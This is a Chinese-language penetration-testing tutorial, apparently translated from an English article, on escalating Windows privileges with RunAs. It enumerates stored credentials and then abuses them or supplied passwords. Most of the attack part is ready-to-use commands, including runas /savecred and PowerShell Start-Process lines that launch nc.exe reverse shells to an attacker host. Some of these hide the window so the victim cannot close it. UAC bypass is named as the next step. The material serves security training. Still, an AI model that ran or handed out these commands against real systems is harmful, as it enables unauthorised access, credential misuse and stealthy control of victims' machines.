本文通过 Google 翻译 RunAs -- Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 通过存储的凭据进行 RunAs 提权](#1 通过存储的凭据进行 RunAs 提权)
- [1.1 手动枚举存储的凭据](#1.1 手动枚举存储的凭据)
- [1.2 工具枚举存储的凭据](#1.2 工具枚举存储的凭据)
- [1.2.1 WinPEAS -- 失败!](#1.2.1 WinPEAS – 失败!)
- [1.2.2 Seatbelt -- 成功!](#1.2.2 Seatbelt – 成功!)
- [1.3 使用存储的凭证执行命令](#1.3 使用存储的凭证执行命令)
- [2 通过提供的凭证进行 RunAs 提权](#2 通过提供的凭证进行 RunAs 提权)
- [2.1 使用提供的凭证执行命令 -- GUI](#2.1 使用提供的凭证执行命令 – GUI)
- [2.2 使用提供的凭证执行命令 -- Reverse Shell(普通用户)](#2.2 使用提供的凭证执行命令 – Reverse Shell(普通用户))
- [2.3 使用提供的凭证执行命令 -- Reverse Shell(管理员用户)](#2.3 使用提供的凭证执行命令 – Reverse Shell(管理员用户))
0、前言
在这篇文章中,让我们看看如何通过 RunAs 在 Windows 电脑上以其它用户的身份启动程序。我们将展示两种办法利用 RunAs:第一种办法是,根据存储在凭证管理器中的本地管理员凭据进行利用;第二种办法是,根据提供的一组用户凭证进行利用。
注:RunAs 在此处代表一种功能,不是指 runas.exe 命令。runas.exe 命令只是实现 RunAs 功能的一个实例,而要实现此功能还可以有其它方式,如 PS 脚本、py 脚本等。
可以将 RunAs 看作是 Windows 中的 sudo,只不过它的表现并不如 sudo 在 Linux 中那样突出。
有两种方式可以执行 RunAs:一种是在 cmd.exe 中使用 runas 命令(前提是:需要 用户及密码 或 本地存储的凭据 。);另一种是执行 PowerShell 版本的 RunAs(前提是:需要 用户及密码)。
在此示例中,假设我们在 FTP 服务器中找到了敏感信息,然后以用户 efrost 的身份在 Windows 10 目标上获得了立足点。

1、通过存储的凭据进行 RunAs 提权
在目标主机上站稳脚跟之后,我们应该立即开始手动枚举,以便更好地了解当前的 shell 环境。搜索存储的凭证是首先要执行的手动命令之一,这一点很重要。
1.1、手动枚举存储的凭据
使用以下命令来查找存储的凭证:
cmd
cmdkey /list

在这里,可以看到本地管理员账户的凭据已存储在凭据管理器中,可以被用来执行命令。
1.2、工具枚举存储的凭据
1.2.1、WinPEAS -- 失败!
市面上有很多后渗透枚举工具,很多都非常棒。但是,对于我们的需求来说,有 winPEAS.exe 基本就够了。
如果您没有 winPEAS 的副本,可以在此处获取。另外再推荐两个工具:Seatbelt.exe、jaws-enum.ps1
winPEAS 是顶级的枚举工具,能提供海量的信息,信息多到让人难以招架。但最关键的是,要懂得如何从海量信息中的什么地方去查找什么信息。
通常,我们会以不带任何参数的方式运行 winPEAS 以进行"所有检查",然后再从上到下逐行梳理所有信息。
但在当前这种情况下,Windows Credentials 部分才是我们寻找存储凭据最关注的地方。考虑到这一点,我们可以使用 windowscreds 参数以将搜索范围缩小到仅进行 Windows 凭据的检查。
cmd
.\winPEASx64.exe windowscreds

有趣的是,winPEAS 并没有找到什么!而这次经历也告诉我们,不应该过分依赖单一工具!
从输出中可以看到,winPEAS 使用的方法与我们手动枚举的方法相同。它提示我们在 winPEAS 失败后可以使用 cmdkey /list 来枚举此内容。
但是,我的确很想展示怎样通过工具来枚举存储的凭据,因此让我们来看一下 Seatbelt.exe 的表现吧。
1.2.2、Seatbelt -- 成功!
使用与 winPEAS.exe 非常相似的 Seatbelt.exe 工具,我们可以使用以下命令进行完全扫描(所有检查):
cmd
.\Seatbelt.exe -group=all -full
与 winPEAS 类似,我们也可以缩小 Seatbelt 的扫描范围。并且,扫描的范围能缩小到比 winPEAS 更精细的程度。使用 winPEAS 可以缩小到类别,但 Seatbelt 可以缩小到某个类别下面的各子项检查。
例如,如果仅仅只是要检查存储的凭证,则可以使用以下命令:
cmd
.\Seatbelt.exe CredEnum

在这里,可以看到 Seatbelt 获取的信息与命令 cmdkey /list 获取的信息是相同的。
1.3、使用存储的凭证执行命令
在确定本机上存储有本地管理员账户的凭据后,我们就可以利用这些凭据使用 runas.exe 执行命令。
当尝试执行任何非 GUI 的命令(如 notepad 这种就属于 GUI 命令),如 whoami 或类似的 POC 命令时,我们将看不到有任何信息输出。这是因为 runas 是从另外一个"单独的窗口"执行的命令,为此,我们需要将输出重定向到一个文件来读取输出内容。
注:"单独的窗口":该窗口能否被看到取决于被执行的命令,对于 whoami 这类命令来说,这个单独的窗口就是一个后台进程,但对于 notepad 这类命令来说,这个单独的窗口就是一个可以看到的文本编辑器。
在 Reverse Shell 环境中执行
runas /savecred /user:admin notepad
这条命令时,这个窗口会出现在受害者的用户桌面环境。
runas 命令并不是被用来运行单个命令的,而是用来生成一个拥有不同账户权限的 shell。
我们可以使用以下命令将 whoami 命令的输出重定向到文件:
cmd
runas /env /noprofile /savecred /user:JUGG-efrost\administrator "cmd.exe /c whoami > whoami.txt"

注:如何在凭证管理器中添加和使用 用户凭据。首次使用
runas /savecred /user:admin cmd
去执行命令时会被询问用户密码,当密码被正常输入之后,该用户凭据便被添加在凭据管理器中。当下次继续使用该方式runas /savecred /user:admin cmd
去执行命令便不会再询问用户的密码。
上图的结果显示,我们当前确实是以本地管理员的身份在运行命令。现在可以使用 runas 来获得反向 shell,可以用多种方式来做到这一点,但在这个例子中,我们将利用 nc.exe 将管理员 shell 推送回攻击者机器。
在攻击者计算机上启动一个 443 端口的监听器,然后就可以执行以下命令来获取 admin shell:
cmd
runas /env /noprofile /savecred /user:JUGG-efrost\administrator "c:\temp\nc.exe 172.16.1.30 443 -e cmd.exe"

值得一提的是,这可能会在受害者机器上打开 cmd 窗口,导致用户可以轻松关闭它。为此,我们可以使用 PowerShell 从隐藏窗口执行命令,从而增加隐蔽性。这样,受害者那边就不会打开任何窗口,也就不会那么轻松的就杀死我们的 shell。
cmd
runas /env /noprofile /savecred /user:JUGG-efrost\administrator "powershell.exe -w hidden -c c:\temp\nc.exe 172.16.1.30 443 -e cmd.exe"
此外,如果我们拥有对受害者机器的远程桌面权限,那么便不需要像上面那么麻烦,只需使用以下命令即可。
cmd
runas /env /noprofile /savecred /user:JUGG-efrost\administrator cmd
2、通过提供的凭证进行 RunAs 提权
假设当我们在受害者机器上站稳脚跟后,使用 cmdkey /list 命令没有找到任何存储的凭据,但在某个配置文件中找到了一个用户的账户及密码。
此时,本小节所介绍的技术在面对下面这种场景时还是很有用的:
- 找到的账户凭据无法访问任何标准服务(SMB、RDP、WinRM),因此无法以该用户身份登录或获取 shell。
- Any situation regarding an account that was added to the local admins group and port 3389 (RDP) is closed.【注:没懂作者这句话和上面那句有什么区别。】
2.1 使用提供的凭证执行命令 -- GUI
如果我们是通过远程桌面访问的受害者主机而不是反向 shell,那么可以直接使用 runas 命令来执行命令即可。但是,这种方式在反向 shell 中是不起作用的!
不起作用的原因是由于 Window 实施了安全措施。以前,runas 命令支持将用户名和密码的信息直接添加在参数中进行使用,但现在不可以了。
现在 Windows 去掉了 runas 命令中对密码参数的支持,更改为需要与用户交互来请求密码的方式。此外,我们也不能通过使用 echo-pipe 技巧将密码通过管道传输到命令来绕过这一点。
虽然如此,但在 GUI 环境下使用以下命令以其他用户身份生成 cmd shell 还是可以的:
cmd
runas /env /noprofile /user:juggernaut.local\cmarko cmd

如果账户未加入域,则 runas 参数中的
/user:juggernaut.local\cmarko
需要更改为/user:juggernaut\cmarko
或/user:cmarko
。
以往,可以在命令中直接传递密码。但当我们尝试这样做时,会发现该选项已不再可用,并会弹出帮助页面。
cmd
runas /env /noprofile /user:juggernaut.local\cmarko "N0cturn@l21" cmd
帮助页面告诉我们,现在只能在出现提示时输入用户的密码。

2.2、使用提供的凭证执行命令 -- Reverse Shell(普通用户)
在本例中,假设目标计算机已关闭 RDP,而我们通过反向 shell 得到了一个用户名和密码,而反向 shell 又是非交互式的。这意味着,如果当前用户没有 GUI 访问权限,我们便无法像上面那样使用 runas 来执行命令了。
而要绕过这个问题,我们可以求助于 PowerShell!
在反向 cmd shell 中运行 powershell -ep bypass 并不总是能成功进入到 powershell 会话,在大多数时候,这会导致 cmd shell 挂起和死机。如果遇到这种情况,我们可以使用 Nishang 的 PowerShell 反向 TCP 脚本来获取 PowerShell 会话。
注:RunasCs 工具亦可实现带密码的 runas 效果。
借助 PowerShell,我们可以使用变量安全地存储找到的凭据,然后将变量传递到 Start-Process cmdlet 中。而这与 runas 命令的效果是相同的,只是不会有交互式密码提示,并且它将完全在反向 shell 中工作!
再次在 443 端口启动监听器,然后依次执行以下 3 条命令:
powershell
$secpasswd = ConvertTo-SecureString "N0cturn@l21" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("juggernaut.local\cmarko", $secpasswd)
Start-Process -FilePath powershell.exe -argumentlist "C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe" -Credential $mycreds
- 第一个变量是密码(secpasswd)。
- 第二个变量是将密码分配给用户名(mycreds)。
- 第三行是要使用存储凭证运行的命令。
执行后,我们将以获得一个 cmd shell。

同样的,就像之前一样,我们要隐藏可能出现在受害者控制台界面的窗口,以防受害者可以轻松的将桌面弹出的窗口给关闭掉。因此,可以将上面的 Start-Process 命令更改为以下命令:
powershell
Start-Process -FilePath powershell.exe -argumentlist "-w hidden -c C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe" -Credential $mycreds
现在可以以此用户的身份枚举系统,并希望能够进一步提升我们的权限。
2.3、使用提供的凭证执行命令 -- Reverse Shell(管理员用户)
在本例中,假设我们获取到了本地管理员组中的用户凭据,但该用户并不是内置管理员 administrator。此时,当我们使用上述 PowerShell runas 命令时,我们得到的其实是一个中完整性 shell。
注:本小节和[上一小节 2.2](#上一小节 2.2)的利用方式其实是一样的,唯一的区别就只是本小节还需要进行 UAC 绕过的操作(但 UAC 绕过的操作作者并未赘述)。
这是 UAC 造成的结果。对于内置管理员账户,如果打开 cmd.exe,默认情况下会出现管理员提示。但是,如果你有一个本地管理员组中的用户,但不是内置的管理员账户,要获得管理员提示,你需要用 "以管理员身份运行 "打开 cmd.exe。如果我们只用该用户打开 cmd.exe,而不以管理员身份运行,则会得到一个标准的中完整性 shell。
让我们看看它的实际效果。使用命令 net localgroup administrators ,可以看到用户 vcreed 是此主机上的本地管理员。

我们在端口 443 上启动另一个监听器,然后加载以下变量并执行 runas 命令。
powershell
$secpasswd = ConvertTo-SecureString "Dfaster1!23" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("juggernaut.local\vcreed", $secpasswd)
Start-Process -FilePath powershell.exe -argumentlist "C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe" -Credential $mycreds
执行上述命令后,我们在监听器窗口获得了一个 vcreed 身份的 shell。

但是,当使用 whoami /priv 检查我们的权限时,会发现此时处于中完整性 shell 中,并且没有管理权限。

从这里开始,我们需要对该用户进行 UAC 绕过,以将其从中完整性 shell 提升到高完整性 shell。
要了解如何使用 UAC 绕过以从中完整性 shell 提升到高完整性 shell,请在此处查看有关该主题的文章。